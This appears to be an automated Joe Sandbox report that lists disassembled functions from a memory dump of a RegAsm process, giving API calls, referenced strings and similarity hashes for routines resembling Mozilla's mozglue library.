Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 07efabbcd50b27bea9d585ec6acc860d234b00c0a64b99ffb9305b2879b215f6
Instruction ID: aee33180df4681bef97eb8d9293adcbeb19e5d3273948276209c37bf5257c9b5
Opcode Fuzzy Hash: 07efabbcd50b27bea9d585ec6acc860d234b00c0a64b99ffb9305b2879b215f6
Instruction Fuzzy Hash: BBD1C075A093409FDB24CF24C851B9FB7E5AFE5308F10492DE58997B91EB30E909CB62

Function 6C96D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C93EB57,?,?,?,?,?,?,?,?,?), ref: 6C96D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C93EB57,?), ref: 6C96D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C93EB57,?), ref: 6C96D673
free.MOZGLUE(?), ref: 6C96D888

Strings

|Enabled, xrefs: 6C96D81E

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 632a487894e8eba947f1bbba1a0003bdb2af5e6d2310bbb0280d43a10c23e640
Instruction ID: 518a1d4f115dca210510e2e5d516a13717f5ba677d5c12c3752c2e10a77ecdbc
Opcode Fuzzy Hash: 632a487894e8eba947f1bbba1a0003bdb2af5e6d2310bbb0280d43a10c23e640
Instruction Fuzzy Hash: AEA129B1A043059FEB11CF6AC4907AEBBF5AF59318F24805DD859ABB81C730E945CBA1

Function 6C96F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C96F480

Part of subcall function 6C93F100: LoadLibraryW.KERNEL32(shell32,?,6C9AD020), ref: 6C93F122
Part of subcall function 6C93F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C93F132

CloseHandle.KERNEL32(00000000), ref: 6C96F555

Part of subcall function 6C9414B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C941248,6C941248,?), ref: 6C9414C9
Part of subcall function 6C9414B0: memcpy.VCRUNTIME140(?,6C941248,00000000,?,6C941248,?), ref: 6C9414EF

Part of subcall function 6C93EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C93EEE3

CreateFileW.KERNEL32 ref: 6C96F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C96F523

Strings

\oleacc.dll, xrefs: 6C96F4CB

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 7b1bf08d4450142f9b0833b574e1223cb38a95643e330ace73fc795bb2566cc5
Instruction ID: 28725f1d3eb96d14e761cc1b1ce595056ca2c789dcd871fafb49936c0e065e9b
Opcode Fuzzy Hash: 7b1bf08d4450142f9b0833b574e1223cb38a95643e330ace73fc795bb2566cc5
Instruction Fuzzy Hash: EC41A5306087509FE720DF69C884BABB7F4AF5531CF504A1CF59593A90EB30D949CB92

Function 6C9974A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C997526
__Init_thread_footer.LIBCMT ref: 6C997566
__Init_thread_footer.LIBCMT ref: 6C997597

Strings

kernel32.dll, xrefs: 6C997557
UnmapViewOfFile2, xrefs: 6C997552

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: e212fc7de762993b273832e42c8712a33d8e7537c9223bf532c8f49daf28564f
Instruction ID: d06fc39f98530bd9b52d9d82359c16fdc32aa699cef7a7e22ef4d855daf0ea23
Opcode Fuzzy Hash: e212fc7de762993b273832e42c8712a33d8e7537c9223bf532c8f49daf28564f
Instruction Fuzzy Hash: 6321C839705501B7DF148FF98894E9B337AEB97B2CF2805A9D40597F80CF31E90689A6

Function 6C99C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C99C0E9), ref: 6C99C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C99C437
FreeLibrary.KERNEL32(?,6C99C0E9), ref: 6C99C44C

Strings

NtQueryVirtualMemory, xrefs: 6C99C431
ntdll.dll, xrefs: 6C99C413

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 091e0749a5a9174aef4491cd07300fa4c73c5b04e308113c162ef2748d48aad2
Instruction ID: 7d1576485bfaa2d532d7f31a318b40795875c490c61c1542510355f2ea04ce6f
Opcode Fuzzy Hash: 091e0749a5a9174aef4491cd07300fa4c73c5b04e308113c162ef2748d48aad2
Instruction Fuzzy Hash: 9DE0B67C709301BBDF00BF75C9587137FF8A74630CF244156BA0A916A0EBB0D0018B98

Function 6C9975B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C99748B,?), ref: 6C9975B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9975D7
FreeLibrary.KERNEL32(?,6C99748B,?), ref: 6C9975EC

Strings

ntdll.dll, xrefs: 6C9975B3
RtlNtStatusToDosError, xrefs: 6C9975D1

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 81a9db345daabfd2e7060e7a045885d6ede8944b09e71bdb7e9d841938882a84
Instruction ID: 7d89e057685b2a7d8c698299475d347703a36829d09283b33e6cb6b64a2af7f7
Opcode Fuzzy Hash: 81a9db345daabfd2e7060e7a045885d6ede8944b09e71bdb7e9d841938882a84
Instruction Fuzzy Hash: C7E092BD608305BBEB006FA2C8C87037AF8EB46618F2054A5B905E1650EBB0C24A8F59

Function 6C997600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C997592), ref: 6C997608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C997627
FreeLibrary.KERNEL32(?,6C997592), ref: 6C99763C

Strings

ntdll.dll, xrefs: 6C997603
NtUnmapViewOfSection, xrefs: 6C997621

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 3dcbd7fd42b3aba2fe3e8c7634f053d356297819a7b4c661a35bd9298202b06a
Instruction ID: 0705f05431e83734ca511bd2bb0a90453bddbd0549295556dad18567c1f38900
Opcode Fuzzy Hash: 3dcbd7fd42b3aba2fe3e8c7634f053d356297819a7b4c661a35bd9298202b06a
Instruction Fuzzy Hash: 3CE092BC609301BBDF006FAA888C7077AB8E75B65DF204195E905D1650EBB0C0058F5D

Function 6C99BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C99BE49), ref: 6C99BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C99BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C99BE49), ref: 6C99BF38
RtlReAllocateHeap.NTDLL ref: 6C99BF83
RtlFreeHeap.NTDLL ref: 6C99BFA6

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: a364ac1be48b283c4613f430230d8dcb0c9ad2f81df66a0b1afabfec7fe93a83
Instruction ID: 2d6477e9dad1e22ea36e303089c7473f71edab069f8fdfcc3e2a0542abee8c38
Opcode Fuzzy Hash: a364ac1be48b283c4613f430230d8dcb0c9ad2f81df66a0b1afabfec7fe93a83
Instruction Fuzzy Hash: C351B071A002058FE720DF69CC80BAAB7B6FF98314F2C4629D51AA7B54D734F9168B80

Function 6C988E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?,6C9AD734), ref: 6C988E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?,6C9AD734), ref: 6C988EBF
free.MOZGLUE(?,?,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?), ref: 6C988F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?,6C9AD734), ref: 6C988F46
free.MOZGLUE(?,?,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?), ref: 6C988F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?), ref: 6C988F8F

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 0e68ae6a4e44df7a7f83acc808c0e2043bc8783de8eec33c70e54005026f0691
Instruction ID: ab1a3256729cae7102c31fd845212350378b9d97e912912f9eec199a18e91e88
Opcode Fuzzy Hash: 0e68ae6a4e44df7a7f83acc808c0e2043bc8783de8eec33c70e54005026f0691
Instruction Fuzzy Hash: 4A51B2B1A022168FEB18CF64D88076E73B6FF44318F25092AD916AB741E731F915CBE5

Function 6C934DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C934E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C934E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C934EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C934F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C934F1E

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 4731db0923093830179fcc77465ad8a964737c5892d33e214adec751653a1baa
Instruction ID: 5d5f82f6f7f2191a8e199f8dc861226de146343c49a14c496c39bf324710bf63
Opcode Fuzzy Hash: 4731db0923093830179fcc77465ad8a964737c5892d33e214adec751653a1baa
Instruction Fuzzy Hash: B941FF716087119FC711CF29C88095BBBE8BF99344F159A2DF46987B81DB32E958CF82

Function 6C941530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C94152B,?,?,?,?,6C941248,?), ref: 6C94159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C94152B,?,?,?,?,6C941248,?), ref: 6C9415BC
moz_xmalloc.MOZGLUE(-00000001,?,6C94152B,?,?,?,?,6C941248,?), ref: 6C9415E7
free.MOZGLUE(?,?,?,?,?,?,6C94152B,?,?,?,?,6C941248,?), ref: 6C941606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C94152B,?,?,?,?,6C941248,?), ref: 6C941637

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: bf6ce50d7a1c4815cb0cdf1466a8ea9c698414b9e44f87fbaad4e2e1b4e14815
Instruction ID: 0365119587c7b6c7e95256d5ce91fef9dc9346e6e6740217ea7bf917b34f6cbf
Opcode Fuzzy Hash: bf6ce50d7a1c4815cb0cdf1466a8ea9c698414b9e44f87fbaad4e2e1b4e14815
Instruction Fuzzy Hash: ED31E872A001159FCB189E78D8504BE77A9BB923647244B2DE423DBBD4EB30D9258791

Function 6C99AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9AE330,?,6C95C059), ref: 6C99AD9D

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9AE330,?,6C95C059), ref: 6C99ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9AE330,?,6C95C059), ref: 6C99AE01
GetLastError.KERNEL32(?,00000000,?,?,6C9AE330,?,6C95C059), ref: 6C99AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9AE330,?,6C95C059), ref: 6C99AE3D

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 90f3c059bb337463f6267903d3fff06c0ccc2e2f7bb40a8fe858a37eb1aea45c
Instruction ID: b597479c570f1ed6e9cef42561b371cc81e9674b4db4fce2faa17dda8e27b9a1
Opcode Fuzzy Hash: 90f3c059bb337463f6267903d3fff06c0ccc2e2f7bb40a8fe858a37eb1aea45c
Instruction Fuzzy Hash: A63141B1E042159FDB10DFB98C44AABB7F8EF59614F15882DE84AD7740EB34E805CBA4

Function 6C995EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9ADCA0,?,?,?,6C96E8B5,00000000), ref: 6C995F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C96E8B5,00000000), ref: 6C995F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C96E8B5,00000000), ref: 6C995F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C96E8B5,00000000), ref: 6C995F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C96E8B5,00000000), ref: 6C995FD6

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 6b052a90ff7ac27ae7a5a756a34e647243ff91c15a037041498565c941881e6c
Instruction ID: f18e239c381add5e0b263512a43ab366c4a39f7624366e9075ed0ab6274c31f1
Opcode Fuzzy Hash: 6b052a90ff7ac27ae7a5a756a34e647243ff91c15a037041498565c941881e6c
Instruction Fuzzy Hash: 56310B353046009FD710CF29C898B2BB7F9FF8932ABA88658E55687B95C735EC51CB80

Function 6C93B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C93B532
moz_xmalloc.MOZGLUE(?), ref: 6C93B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C93B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C93B57E
free.MOZGLUE(00000000), ref: 6C93B58F

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ec947826d989d5f604ca291c55dca2fedf6226e14b73fcbba95995f68a75e55a
Instruction ID: 0521385bd8c7ea6e43ac81d2fb2d5063f435becff39df1a8d1820f12b5f8d9bd
Opcode Fuzzy Hash: ec947826d989d5f604ca291c55dca2fedf6226e14b73fcbba95995f68a75e55a
Instruction Fuzzy Hash: 6A21F371A04615ABDB00CF69CC40BABBBB9FF92308F284029E818DB341E776D915C7A1

Function 6C996E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C996E78

Part of subcall function 6C996A10: InitializeCriticalSection.KERNEL32(6C9BF618), ref: 6C996A68
Part of subcall function 6C996A10: GetCurrentProcess.KERNEL32 ref: 6C996A7D
Part of subcall function 6C996A10: GetCurrentProcess.KERNEL32 ref: 6C996AA1
Part of subcall function 6C996A10: EnterCriticalSection.KERNEL32(6C9BF618), ref: 6C996AAE
Part of subcall function 6C996A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C996AE1
Part of subcall function 6C996A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C996B15
Part of subcall function 6C996A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C996B65
Part of subcall function 6C996A10: LeaveCriticalSection.KERNEL32(6C9BF618,?,?), ref: 6C996B83

MozFormatCodeAddress.MOZGLUE ref: 6C996EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C996EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C996EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C996EFF

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 0b86cd6c5cddaafd80e5e474898ea0b380881abdb8ffdb48007e5708b46df687
Instruction ID: d1a331e53398c026d813ce98a213ee920f97014a81797a4e9ff836becd81115f
Opcode Fuzzy Hash: 0b86cd6c5cddaafd80e5e474898ea0b380881abdb8ffdb48007e5708b46df687
Instruction Fuzzy Hash: 3021A171A0821A9FDB00DF69D8C5A9F77F9EF88348F044039E80997241EB749A58CF96

Function 6C9976C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9976F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C997705

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C997717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C99778F,00000000,00000000,00000000,00000000), ref: 6C997731
free.MOZGLUE(00000000), ref: 6C997760

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 77555530f7a16e69e7e2120c8dc14e81be6d66ce43e33dc92b6819d2eafdbbf1
Instruction ID: 69a5114d327dee6793e41c21edd8345b07096d92543ce9dfcb0747af770b4f1f
Opcode Fuzzy Hash: 77555530f7a16e69e7e2120c8dc14e81be6d66ce43e33dc92b6819d2eafdbbf1
Instruction Fuzzy Hash: 8B11B2B1904215ABE710AFB68C44BAFBEF8EF59754F144429F848A7300E771985487E2

Function 6C970D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule
